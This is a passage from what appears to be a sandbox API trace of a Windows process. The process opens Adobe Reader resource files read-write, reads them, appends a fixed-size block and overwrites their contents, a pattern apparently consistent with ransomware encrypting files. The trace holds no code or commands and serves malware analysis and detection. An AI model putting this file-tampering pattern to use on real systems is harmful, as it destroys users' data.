10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr96.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr96.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.888] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.888] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc1000 [0042.888] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.888] ReleaseMutex (hMutex=0x128) returned 1 [0042.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr96.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr96.ths", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sgr96.ths", lpUsedDefaultChar=0x0) returned 9 [0042.888] ReadFile (in: hFile=0x1cc, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.892] ReadFile (in: hFile=0x1cc, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.895] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc0000 [0042.895] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.906] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc0000 [0042.907] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a4cc28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4cc28*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.908] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.908] WriteFile (in: hFile=0x1cc, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.908] WriteFile (in: hFile=0x1cc, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.908] CloseHandle (hObject=0x1cc) returned 1 [0042.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.909] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.909] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1c00 [0042.909] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.909] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.909] ReleaseMutex (hMutex=0x128) returned 1 [0042.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spn.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.909] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a4cc28, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a4cc28*, lpNumberOfBytesRead=0x2b0f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0042.916] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0042.916] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a4cc28*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4cc28*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0042.917] CloseHandle (hObject=0x1cc) returned 1 [0042.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.917] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.917] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x800 [0042.917] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] ReleaseMutex (hMutex=0x128) returned 1 [0042.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tur.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.918] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x2b0f2bc*=0x800, lpOverlapped=0x0) returned 1 [0042.919] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0042.920] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xd88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xd88, lpOverlapped=0x0) returned 1 [0042.920] CloseHandle (hObject=0x1cc) returned 1 [0042.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.920] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.920] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5f76c [0042.920] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] ReleaseMutex (hMutex=0x128) returned 1 [0042.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKSCS.txt", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKSCS.txt", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKSCS.txt", lpUsedDefaultChar=0x0) returned 9 [0042.920] ReadFile (in: hFile=0x1cc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.926] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e76c [0042.926] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.928] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e76c [0042.928] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.929] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.929] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.929] CloseHandle (hObject=0x1cc) returned 1 [0042.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.930] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.930] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4a08 [0042.930] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.930] ReleaseMutex (hMutex=0x128) returned 1 [0042.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CORPCHAR.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CORPCHAR.TXT", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPCHAR.TXT", lpUsedDefaultChar=0x0) returned 12 [0042.930] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.932] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3a08 [0042.932] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.934] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3a08 [0042.935] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.935] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.935] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.935] CloseHandle (hObject=0x1cc) returned 1 [0042.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.936] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.936] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x39c8 [0042.936] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.936] ReleaseMutex (hMutex=0x128) returned 1 [0042.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ROMANIAN.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ROMANIAN.TXT", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ROMANIAN.TXT", lpUsedDefaultChar=0x0) returned 12 [0042.936] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.938] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x29c8 [0042.938] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.939] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x29c8 [0042.940] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.940] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.940] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.940] CloseHandle (hObject=0x1cc) returned 1 [0042.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.940] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.940] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x219a [0042.941] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.941] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.941] ReleaseMutex (hMutex=0x128) returned 1 [0042.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1255.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1255.TXT", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1255.TXT", lpUsedDefaultChar=0x0) returned 10 [0042.941] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.942] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x119a [0042.942] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.519] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x119a [0043.540] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.547] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0043.547] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.547] CloseHandle (hObject=0x1cc) returned 1 [0043.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1028.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.552] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst", lpFilePart=0x2b0f690*="1028.mst") returned 0x64 [0043.552] GetLastError () returned 0x5 [0043.552] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0043.552] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.552] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.552] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0043.554] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.558] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.558] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1028.mst")) returned 0x21 [0043.560] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1041.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1041.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1041.mst", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1041.mst", lpFilePart=0x2b0f690*="1041.mst") returned 0x64 [0043.565] GetLastError () returned 0x5 [0043.565] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0043.565] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.565] 